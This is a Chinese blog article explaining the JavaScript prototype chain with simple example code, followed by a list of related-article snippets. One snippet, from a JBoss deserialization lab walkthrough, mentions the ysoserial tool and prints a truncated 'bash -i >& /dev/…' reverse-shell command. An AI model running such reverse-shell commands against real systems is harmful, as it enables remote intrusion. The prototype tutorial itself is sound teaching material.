5分钟内理解 .prototype 链 | 2024

db3b43c8e932347fe5e668f3ee8b7d8b.png

在JavaScript的世界里,原型(prototype)系统是一个常被讨论但不易掌握的概念。作为JavaScript继承模型的基石,理解原型对于构建大型应用或进行对象操作至关重要。让我们一起探索这个迷人的话题,揭开原型系统的神秘面纱。

什么是原型?

在JavaScript中,每个对象都有一个内部属性[[Prototype]]。这个属性指向另一个对象,我们称之为原型。原型就像一个模板,对象从中继承属性和方法。

当我们尝试访问一个对象的属性或方法时,JavaScript首先在对象本身查找。如果没有找到,它会沿着原型链向上查找,直到找到该属性或达到原型链的顶端(null)。

我们通过一个简单的例子来理解这个过程:

const animal = {makeSound: function() {console.log("Some generic animal sound");}
};const dog = Object.create(animal);
dog.bark = function() {console.log("Woof!");
};dog.makeSound(); // 输出: "Some generic animal sound"
dog.bark();      // 输出: "Woof!"

在这个例子中,dog对象继承了animalmakeSound方法,同时拥有自己的bark方法。

创建对象与原型

我们深入了解对象创建时原型是如何链接的:

function Person(name) {this.name = name;
}Person.prototype.greet = function() {console.log(`Hello, I'm ${this.name}`);
};const alice = new Person("Alice");
alice.greet(); // 输出: "Hello, I'm Alice"

这里发生了什么?

  1. Person是一个构造函数。

  2. 当我们使用new关键字创建Person的实例时,JavaScript创建了一个新对象(alice),并将其[[Prototype]]链接到Person.prototype

  3. 当调用alice.greet()时,JavaScript首先在alice对象上查找greet方法。没有找到,所以它沿着原型链查找,在Person.prototype上找到并执行了这个方法。

原型链与继承

JavaScript通过原型实现继承。与传统的类继承不同,JavaScript对象直接从其他对象继承。这被称为"原型继承"。让我们扩展前面的例子来演示继承:

function Developer(name, language) {Person.call(this, name);this.language = language;
}Developer.prototype = Object.create(Person.prototype);
Developer.prototype.constructor = Developer;Developer.prototype.code = function() {console.log(`${this.name} is coding in ${this.language}`);
};const bob = new Developer("Bob", "JavaScript");
bob.greet(); // 输出: "Hello, I'm Bob"
bob.code();  // 输出: "Bob is coding in JavaScript"

在这个例子中:

  1. 我们使用Object.create(Person.prototype)创建了Developer.prototype,确保Developer实例继承自Person.prototype

  2. 我们重置了Developer.prototype.constructor,使其指向Developer函数。

  3. bob现在可以访问从Person.prototype继承的greet方法和定义在Developer.prototype上的code方法。

原型方法与属性遮蔽

当直接在对象上添加一个属性或方法时,它会遮蔽原型链中同名的属性或方法:

bob.greet = function() {console.log("Hi, I'm a developer!");
};bob.greet(); // 输出: "Hi, I'm a developer!"

在这个例子中,直接定义在bob上的greet方法覆盖了从Person.prototype继承的方法。

修改原型的风险

虽然可以修改内置原型如Array.prototypeObject.prototype,但这通常是不推荐的做法。这可能导致不可预知的行为和与其他代码的冲突。

结语

JavaScript的原型系统虽然初看复杂,但掌握它能让我们更深入地理解JavaScript的工作原理。尽管在使用现代JavaScript和TypeScript的项目中,我们很少直接操作原型,但理解原型对于调试和优化应用程序仍然至关重要。

通过深入理解原型,我们能够编写更高效、更灵活的JavaScript代码,为构建强大的前端应用奠定坚实基础。

最后:

CSS技巧与案例详解

vue2与vue3技巧合集

VueUse源码解读

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147346.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

常见中间件漏洞(Jboss)靶场

1.CVE-2015-7501 开启环境查看端口 http://192.168.10.194:8080/ invoker/JMXInvokerServlet 说明接⼝开放,此接⼝存在反序列化漏洞 下载 ysoserial ⼯具进⾏漏洞利⽤ https://github.com/frohoff/ysoserial 将反弹shell进⾏base64编码 bash -i >& /dev/…

C++ Qt 之 QPushButton 好看的样式效果实践

文章目录 1.前序2.效果演示3.代码如下 1.前序 启发于 edge 更新 web 页面,觉得人家做的体验挺好 决定在Qt实现,方便以后使用 2.效果演示 特性介绍: 默认蓝色鼠标移入 渐变色,鼠标变为小手鼠标移出 恢复蓝色,鼠标恢…

【学习笔记】 AD24中元器件重叠系统不报错的解决方案(消除报错)

【学习笔记】 AD24中PCB设计元器件重叠后系统不报错的解决方案(如何主动屏蔽报错) 一、Component Clearance未开启使能的解决方案二、最小水平间距设置错误的解决方案三、未开启设计规则检查的解决方案四、设计规则检查中 “在线”和“批量”的含义五、为…

前端——JavaScript练习 做一个todoList

用前端制作一个todoList的表格,实现更新、删除、修改等功能。 涉及几个知识点: 设置最小高度(宽度): .container{min-width: 350px;/* 最小宽度 最小不会小于210px */ } 去掉外轮廓 outline: none; 去除字…

寄存器与内存

第三课:寄存器与内存、中央处理器(CPU)、指令和程序及高级 CPU 设计-CSDN博客 锁存器 引入 ABO0(开始状态)001(将A置1)110(将A置0)11 无论怎么做,都没法从1变…

深度学习(一):神经网络入门

文章目录 一、神经网络1.1神经元结构1.2单层神经网络:单层感知机1.3两层神经网络:多层感知机1.4多层神经网络 二、全连接神经网络2.1基本结构2.2激活函数、前向传播、反向传播、损失函数2.2.1激活函数的意义2.2.2前向传播2.2.3损失函数、反向传播2.2.4梯…

uniapp小程序持续获取用户位置信息,后台位置获取

做一个小程序持续获取用户位置信息的功能,即使小程序切换到后台也能继续获取,getLocation这个api只有小程序在前台才能获取位置,所以不用这个 先申请一个腾讯地图key 在uniapp项目配置源码视图里加上这个代码 先获取权限,再开启…

NtripShare测量机器人自动化监测系统测站更换仪器后重新设站

NtripShare测量机器人自动化监测系统投入商业运营已经很久了,在MosBox与自动优化网平差技术的加持下,精度并不让人担心,最近基于客户需求处理了两个比较大的问题。 1、增加对反射片和免棱镜的支持。 2、进一步优化测站更换仪器或重新整平后重…

批量归一化与层归一化的区别

batch-normalization是根据每一列的特征进行批量归一化,把一个batch(N张图片)中同一通道的特征(w*h的特征图),将其标准化。可以理解为对batch中的所有图的每一层像素(也就是不同的通道)进行标准化。通常在图像领域用的多&#xff…

【报告阅读】chatgpt-o1 技术报告阅读 | 新的迭代开始了~

OpenAI o1是通过强化学习去进行复杂推理,在它回答之前,他会经过复杂的内部思维链的思考。 经过强化训练的o1多强 1 表现 在美国数学奥林匹克预选赛中名列前500名的学生中,o1排89名 在物理、生物、化学问题的基准测试中超过人类博士水平 其…

(done) 声音信号处理基础知识(6) (How to Extract Audio Features)

参考:https://www.youtube.com/watch?v8A-W1xk7qs8&t2s 先复习之前分类的声学特征 时域特征流水线 如下是 441Khz 下一个采样点播放的时间。这比人类耳朵分辨率(10ms)还低。 所以,把多个采样点组合成一个 frame 的原因有,这是一个人…

布草洗涤必备4张表-———未来之窗行业应用跨平台架构

一、洗涤厂客户月度报表 二、大酒店楼层布草月度统计报表 三、职员月度报表 四、司机当日统计报表 五、阿雪技术观 拥抱开源与共享,见证科技进步奇迹,畅享人类幸福时光! 让我们积极投身于技术共享的浪潮中,不仅仅是作为受益者&a…

Docker实践——天池篇

参考零基础入门Docker-cuda练习场_学习赛_天池大赛-阿里云天池的赛制 (aliyun.com) ​ 在Docker零基础入门-CSDN博客中我已经安装了docker,现在开始创建自己的镜像仓库。 1. 开通阿里云容器镜像服务(镜像仓库) 进入容器镜像服务 (aliyun.com) 1.1. 创建个人实例 点击“…

Elasticsearch导出导入数据

1.概念回顾 2.基础操作 展示详细信息 GET:http://127.0.0.1:9200/_cat/indices?v Java代码将文件导入到ES package com.Graph.medicalgraph;import org.apache.http.HttpHost; import org.elasticsearch.action.bulk.BulkRequest; import org.elasticsearch.act…

17_Python的生成器

生成器(Generator) 生成器(Generator)是Python中一种特殊的迭代器,它允许你在需要时才计算和产生值,而不是一次性生成整个序列。生成器使用yield语句来逐个产生值,而不是像迭代器那样实现__ite…

全球贸易中的关键标识符:DUNS、GLN及其他ID在EDI中的应用

在电子数据交换(EDI)中,识别交易伙伴的唯一标识符对于确保数据准确传输和处理至关重要。不同的企业标识符在EDI的不同场景中发挥着重要作用,其中最常见的包括DUNS(数据通用编号系统)、GLN(全球位…

【Java笔记】第12章:常用类

1. Object类2. 包装类3. String类 上期回顾:【Java笔记】第11章:内部类 个人主页:C_GUIQU 归属专栏:【Java学习】 1. Object类 Object:位于java.lang包中,是所有类的父类(直接父类/间接父类)。…

移动硬盘‘需格式化‘困境:原因剖析、恢复策略与预防之道

困境直击:移动硬盘为何需格式化才能访问? 在数字化时代,移动硬盘作为数据存储与传输的重要工具,其稳定性与可靠性直接关系到用户数据的安全。然而,不少用户在使用过程中遭遇了“移动硬盘需要格式化才能打开”的尴尬境…

【Linux】进程概念-1

文章目录 1.本节重点2. 冯诺依曼体系结构3.操作系统(Operator System)3.1 概念3.2 设计OS的目的3.3 定位3.4 如何理解“管理”3.5 总结3.6 系统调用和库函数概念3.7 承上启下 4. 进程4.1 基本概念4.2 描述进程——PCB4.3 通过系统调用获取进程标示符4.4 …

C语言实现常见的数据结构

栈 栈是一种后进先出&#xff08;LIFO, Last In First Out&#xff09;的数据结构 #include <stdio.h> #include <stdlib.h>#define MAX 100typedef struct {int data[MAX];int top; } Stack;// 初始化栈 void init(Stack *s) {s->top -1; }// 判断栈是否为空…